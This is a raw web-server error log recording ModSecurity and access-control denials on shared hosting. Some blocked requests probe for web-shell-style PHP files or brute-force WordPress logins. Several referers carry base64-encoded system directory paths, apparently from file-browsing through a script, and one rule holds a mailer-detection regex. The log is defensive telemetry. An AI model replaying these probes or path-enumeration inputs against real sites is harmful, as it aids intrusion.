https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:08:17.539133 2026] [access_compat:error] [pid 531155:tid 531226] [remote 57.141.14.2:34331] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:17.539589 2026] [access_compat:error] [pid 531155:tid 531226] [remote 57.141.14.2:34331] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:17.572011 2026] [access_compat:error] [pid 531797:tid 531975] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL2tnZGJ0cw== [Sat Jun 13 18:08:17.572367 2026] [access_compat:error] [pid 531797:tid 531975] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL2tnZGJ0cw== [Sat Jun 13 18:08:17.591024 2026] [security2:error] [pid 531797:tid 532051] [client 191.233.234.186:60639] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/cakr3xr4.php"] [unique_id "ai3w8cTA7b1mZrmcA-8QNgAAAkk"] [Sat Jun 13 18:08:17.629498 2026] [security2:error] [pid 531797:tid 531890] [remote 17.22.245.52:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 52.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w8cTA7b1mZrmcA-8QNwACNho"] [Sat Jun 13 18:08:17.684726 2026] [security2:error] [pid 531155:tid 531210] [remote 17.22.245.124:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 124.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w8SmiP80klyS0NnrpuQABbDY"] [Sat Jun 13 18:08:17.727887 2026] [security2:error] [pid 531155:tid 531158] [remote 47.128.110.69:47458] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "cantrade.com.sg"] [uri "/robots.txt"] [unique_id "ai3w8SmiP80klyS0NnrpugABEwI"] [Sat Jun 13 18:08:17.831565 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.20:44808] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:17.832032 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.20:44808] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:17.837516 2026] [security2:error] [pid 531797:tid 532023] [client 191.234.188.123:47989] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/bkxzo.php"] [unique_id "ai3w8cTA7b1mZrmcA-8QQwAAAi8"] [Sat Jun 13 18:08:17.898769 2026] [access_compat:error] [pid 531155:tid 531280] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:17.899229 2026] [access_compat:error] [pid 531155:tid 531280] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:17.955348 2026] [security2:error] [pid 531155:tid 531406] [client 129.227.46.150:56587] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.46.227.129.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "diazmedical.com"] [uri "/wp-login.php"] [unique_id "ai3w8SmiP80klyS0NnrpwAAAAYM"] [Sat Jun 13 18:08:17.959857 2026] [security2:error] [pid 531155:tid 531340] [client 191.234.188.123:30249] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/wp-upload.php"] [unique_id "ai3w8SmiP80klyS0NnrpwQAAAUE"] [Sat Jun 13 18:08:17.970444 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZQ== [Sat Jun 13 18:08:17.970754 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZQ== [Sat Jun 13 18:08:17.973013 2026] [access_compat:error] [pid 531155:tid 531195] [remote 57.141.14.7:34703] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:17.973453 2026] [access_compat:error] [pid 531155:tid 531195] [remote 57.141.14.7:34703] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:18.084191 2026] [access_compat:error] [pid 531797:tid 531887] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL25mcw== [Sat Jun 13 18:08:18.084487 2026] [access_compat:error] [pid 531797:tid 531887] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL25mcw== [Sat Jun 13 18:08:18.084837 2026] [security2:error] [pid 531797:tid 531898] [remote 17.246.19.154:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 154.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w8sTA7b1mZrmcA-8QRwACHiI"] [Sat Jun 13 18:08:18.123173 2026] [security2:error] [pid 531155:tid 531250] [remote 17.241.219.147:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 147.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w8imiP80klyS0NnrpxgABUV4"] [Sat Jun 13 18:08:18.427932 2026] [access_compat:error] [pid 531155:tid 531171] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:18.428219 2026] [access_compat:error] [pid 531155:tid 531171] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:18.439636 2026] [security2:error] [pid 531797:tid 531874] [remote 17.22.253.164:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 164.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w8sTA7b1mZrmcA-8QTwACMwo"] [Sat Jun 13 18:08:18.480977 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:18.481247 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:18.562584 2026] [access_compat:error] [pid 531797:tid 531988] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2hhcmUvZHBrZw== [Sat Jun 13 18:08:18.562885 2026] [access_compat:error] [pid 531797:tid 531988] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2hhcmUvZHBrZw== [Sat Jun 13 18:08:18.656298 2026] [access_compat:error] [pid 531797:tid 531957] [remote 57.141.14.7:34707] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:18.656755 2026] [access_compat:error] [pid 531797:tid 531957] [remote 57.141.14.7:34707] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:18.761897 2026] [security2:error] [pid 531797:tid 532095] [client 191.233.234.186:53490] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/htto.php"] [unique_id "ai3w8sTA7b1mZrmcA-8QXgAAAnQ"] [Sat Jun 13 18:08:18.769019 2026] [security2:error] [pid 531797:tid 532047] [client 20.151.217.54:65194] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/777.php"] [unique_id "ai3w8sTA7b1mZrmcA-8QYAAAAkU"] [Sat Jun 13 18:08:18.901950 2026] [security2:error] [pid 531797:tid 532124] [client 20.151.217.54:46217] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/wp-scanner.php"] [unique_id "ai3w8sTA7b1mZrmcA-8QZQAAAo8"] [Sat Jun 13 18:08:18.933022 2026] [access_compat:error] [pid 531155:tid 531275] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:18.933319 2026] [access_compat:error] [pid 531155:tid 531275] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:19.006518 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:08:19.006963 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:08:19.012017 2026] [security2:error] [pid 531797:tid 531917] [remote 17.246.15.118:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 118.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w8sTA7b1mZrmcA-8QaAACQzU"] [Sat Jun 13 18:08:19.146808 2026] [security2:error] [pid 531155:tid 531281] [remote 17.241.75.254:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 254.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w8ymiP80klyS0Nnrp2wABOn0"] [Sat Jun 13 18:08:19.146967 2026] [access_compat:error] [pid 531797:tid 531865] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2xpYjY0L2NvbGxlY3Rk [Sat Jun 13 18:08:19.147324 2026] [access_compat:error] [pid 531797:tid 531865] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2xpYjY0L2NvbGxlY3Rk [Sat Jun 13 18:08:19.153184 2026] [access_compat:error] [pid 531155:tid 531215] [remote 57.141.14.102:39819] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:19.153463 2026] [access_compat:error] [pid 531155:tid 531215] [remote 57.141.14.102:39819] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:19.378304 2026] [security2:error] [pid 531155:tid 531235] [remote 89.241.178.162:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3w8ymiP80klyS0Nnrp5AABHE8"], referer: https://www.torquayfans.com [Sat Jun 13 18:08:19.378332 2026] [security2:error] [pid 531155:tid 531235] [remote 89.241.178.162:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3w8ymiP80klyS0Nnrp5AABHE8"], referer: https://www.torquayfans.com [Sat Jun 13 18:08:19.382197 2026] [access_compat:error] [pid 531155:tid 531246] [remote 57.141.14.28:54380] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:19.382627 2026] [access_compat:error] [pid 531155:tid 531246] [remote 57.141.14.28:54380] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:19.480936 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:08:19.481211 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:08:19.533592 2026] [access_compat:error] [pid 531155:tid 531175] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL2RldmljZS9tb3VzZTEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:19.534075 2026] [access_compat:error] [pid 531155:tid 531175] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL2RldmljZS9tb3VzZTEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:19.591738 2026] [access_compat:error] [pid 531797:tid 531967] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly92YXIvY2FjaGUva2NhcmU= [Sat Jun 13 18:08:19.592004 2026] [access_compat:error] [pid 531797:tid 531967] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly92YXIvY2FjaGUva2NhcmU= [Sat Jun 13 18:08:19.606494 2026] [security2:error] [pid 531797:tid 532033] [client 191.234.188.123:63901] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/333.php"] [unique_id "ai3w88TA7b1mZrmcA-8QewAAAjg"] [Sat Jun 13 18:08:19.891840 2026] [access_compat:error] [pid 531155:tid 531230] [remote 57.141.14.47:36960] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:19.892133 2026] [access_compat:error] [pid 531155:tid 531230] [remote 57.141.14.47:36960] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:19.912162 2026] [access_compat:error] [pid 531797:tid 531924] [remote 57.141.14.28:54388] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:19.912499 2026] [access_compat:error] [pid 531797:tid 531924] [remote 57.141.14.28:54388] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:19.934611 2026] [access_compat:error] [pid 531155:tid 531272] [remote 57.141.14.100:27807] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:19.935074 2026] [access_compat:error] [pid 531155:tid 531272] [remote 57.141.14.100:27807] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:19.955095 2026] [access_compat:error] [pid 531155:tid 531241] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:19.955360 2026] [access_compat:error] [pid 531155:tid 531241] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:20.035360 2026] [access_compat:error] [pid 531155:tid 531159] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 